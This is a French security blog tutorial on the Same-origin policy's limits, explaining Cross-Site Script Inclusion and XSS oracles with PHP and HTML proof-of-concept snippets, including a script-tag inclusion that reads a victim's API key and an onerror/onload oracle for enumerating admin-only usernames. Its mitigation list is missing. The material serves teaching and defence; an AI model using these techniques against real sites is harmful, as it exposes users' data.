Les XSSI : Les limites de la Same-origin policy !

Par Geluchat, mer. 13 septembre 2017, dans la catégorie Journal de geluchat

Failles Web, Javascript, SOP, Tutoriel, XSS, XSSI

Qu'est-ce que la Same-origin policy :

La Same-origin policy ou plus simplement SOP est l'une des protections les plus importantes du navigateur.

Elle sert à vérifier que les contenus chargés sur la page proviennent du même domaine que celle-ci.

La documentation de Firefox nous donne un tableau qui montre comment fonctionnent ces vérifications : Documentation SOP Firefox

Pour faire simple, la SOP évite qu'un attaquant puisse récupérer des informations d'un autre site avec les droits de l'utilisateur connecté.

Prenons l'exemple suivant qui montre un schéma d'attaque avec la SOP désactivée côté utilisateur : Schéma XSS

On voit ici que sans la SOP n'importe quel site visité peut accéder à un autre site en utilisant les cookies de l'utilisateur.

Lorsque la SOP est activée, une erreur apparaitra à l'étape 2 :

Blocage d’une requête multiorigines (Cross-Origin Request) : la politique « Same Origin » ne permet pas de consulter la ressource distante.

Les limites de la SOP

Nous avons vu rapidement comment fonctionne la SOP, reste maintenant à voir les limites de cette protection.

En effet, la SOP doit être assez permissive pour pouvoir afficher des images ou charger du Javascript externe.

Les exemples suivants ne sont donc pas soumis à cette protection :

La balise <img> :

<img src="http://externe.dtd/image.png" />

La balise <script> :

<script src="https://ajax.googleapis.com/ajax/libs/jquery/3.2.1/jquery.min.js"></script>

D'autres exemples de balises telles que les balises link ou video sont disponibles dans la documentation de Firefox.

Ce mécanisme permissif permet d'envisager un scénario dans lequel la SOP ne fonctionne pas : l'utilisation de XSSI !

Les XSSI

Alors, une XSSI, c'est quoi ?

Une XSSI, abréviation de Cross Site Script Inclusion, est le fait d'inclure une page distante ayant un contenu en Javascript.

En effet, la balise <script> inclut, via son attribut src, une page externe qui est chargée comme étant du Javascript.

Prenons l'exemple de script PHP disponible ici.

Dans notre exemple, on suppose que la fonction get_user_info() récupère les informations dans une base de données grâce au cookie utilisateur :

<?php
// Charge la session utilisateur
session_start();
function get_user_info()
{
    // TODO : Récupérer les informations de l'utilisateur courant dans la base de données
    // Dans notre exemple, les informations seront hardcodées
    $info = "{'user' : 'Geluchat', 'API_KEY' : 'l3x11sG00dBuT3l54J34n1sB3tt3r'}";
    return $info;
}
header('Content-Type: application/javascript');
$build_response = "var info = [". get_user_info() ."];";
echo $build_response;

On remarque que le script PHP change le Content-type de la page. On peut supposer que pour des raisons pratiques les informations sont chargées dynamiquement sur le site via du Javascript.

En revanche, ce type d'utilisation n'est pas du tout sécurisé comme le montre le script suivant :

<script src="https://www.dailysecurity.fr/labs/info.php"></script>
<script type='text/javascript'>
alert(JSON.stringify(info));
</script>

Vous pouvez faire le test chez vous depuis un fichier local ou sur un serveur distant, les informations de l'utilisateur sont affichées (en tenant compte de son cookie) :

Info XSSI

Un attaquant peut alors mettre en place le système suivant :

Schéma XSSI Final

Il existe des moyens permettant de charger d'autres types de fichiers (CSV, JSON) en jouant avec le charset des éléments HTML comme le montre ce document.

Néanmoins, la plupart des contournements présentés ne fonctionnent plus sur les versions récentes des navigateurs.

Les XSS Oracle

Un exemple plus poussé des XSSI est présenté dans l'article de Hurricane Labs.

Cet article détaille une méthode jusqu'ici méconnue utilisant à la fois les XSSI et les codes de retour HTTP.

Admettons qu'une page d'un site retourne différents codes HTTP (200, 404, 302, etc...) en réponse à différentes requêtes de type GET.

Il serait alors possible de récupérer ces codes à l'aide du handler onerror.

En effet, en jouant avec ces handlers, il est possible d'extraire des données par le même procédé que lors d'une Blind SQL injection (c-à-d caractère par caractère) comme montré dans le script suivant :

<script>
function http200()
{
    alert("HTTP 200")
}
function http404()
{
    alert("HTTP 404")
}
</script>
<script src="https://www.dailysecurity.fr/labs/httpResponse.php" async="async" onerror=http404() onload=http200()></script>

httpResponse.php :

<?php
if(rand(0,1))
{
    http_response_code(200);
}
else 
{
    http_response_code(404);
}
die();

On peut donc faire la différence entre deux réponses grâce aux codes HTTP et aux handlers d'erreurs !

Le mécanisme ci-dessus, permettant de savoir si une réponse est vraie ou fausse, est appelé Oracle XSS.

Quelle utilité peut-on trouver à cette méthode ?

Si le site distant possède un système de recherche d'utilisateurs uniquement disponible pour l’administrateur, on peut les lister ces utilisateurs en comparant les retours des codes HTTP.

Il faudra bien sûr que la personne connectée soit l'administrateur du site.

Exemple de scénario d'attaque via un oracle XSS :

GET /admin/search.php?user=j*  -> 200 // 'j' est donc notre premier caractère.
GET /admin/search.php?user=ja* -> 404 // Aucun utilisateur ne commence par 'ja' on teste donc la lettre suivante.
GET /admin/search.php?user=jb* -> 404
GET /admin/search.php?user=jc* -> 404
GET /admin/search.php?user=jd* -> 404
GET /admin/search.php?user=je* -> 200
---
snip
---
GET /admin/search.php?user=jean -> 200 // Nous avons récupéré l'utilisateur 'jean' ! 

Afin de stopper ce genre d'attaque, on peut utiliser les méthodes suivantes :

Voilà, c’est déjà terminé, n’hésitez pas à rejoindre mon Twitter pour avoir des news sur le site et mon point de vue sur l’actualité de la sécurité informatique.

Geluchat.